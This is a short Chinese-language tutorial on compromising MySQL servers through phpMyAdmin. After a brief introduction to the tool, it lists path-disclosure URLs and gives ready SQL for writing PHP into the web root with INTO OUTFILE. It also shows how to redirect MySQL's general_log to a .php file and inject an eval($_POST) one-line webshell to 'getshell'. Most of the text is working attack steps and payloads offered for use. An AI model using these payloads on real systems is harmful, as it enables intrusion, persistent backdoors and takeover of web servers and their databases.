简介
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
暴绝对路径
要写文件必须要知道根路径,否则即使写入了也无法访问,也就自然无法getshell,
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpmyadmin直接写入文件
先要知道根路径利用错误爆路径等,这里用phpinfo查看根路径
写入 一句phpinfo文件,SELECT "<?php phpinfo();?>" INTO OUTFILE "E:\\wamp\\wamp\\www\\2.php"
这里必须注意要双反斜线,否则会转义,
可以看到已经上传并且解析
利用日志getshell
原理,phpmyadmin有一个记录日志的文件,但是一般情况下会关闭,开启日志记录,然后设置日志记录名称为.php,随便执行sql语句,只要包括一句话木马就会被写入到日志中去,然后就可以连接getshell
第一步手动开启日志。
set global general_log='on' //首先设置为on
然后 查看是否开启成功
show variables like "general_log%"
ON为开启,此时我们设置 日志路径set global general_log_file ="E:\\wamp\\wamp\\www\\3.php"
然后只要执行的语句都会写入到日志文件中,所以我们查询语句select '<?php eval($_POST['a']);?>'
会报错但是已经写入到日志中去了
此时连接网站/3.php即可getshell。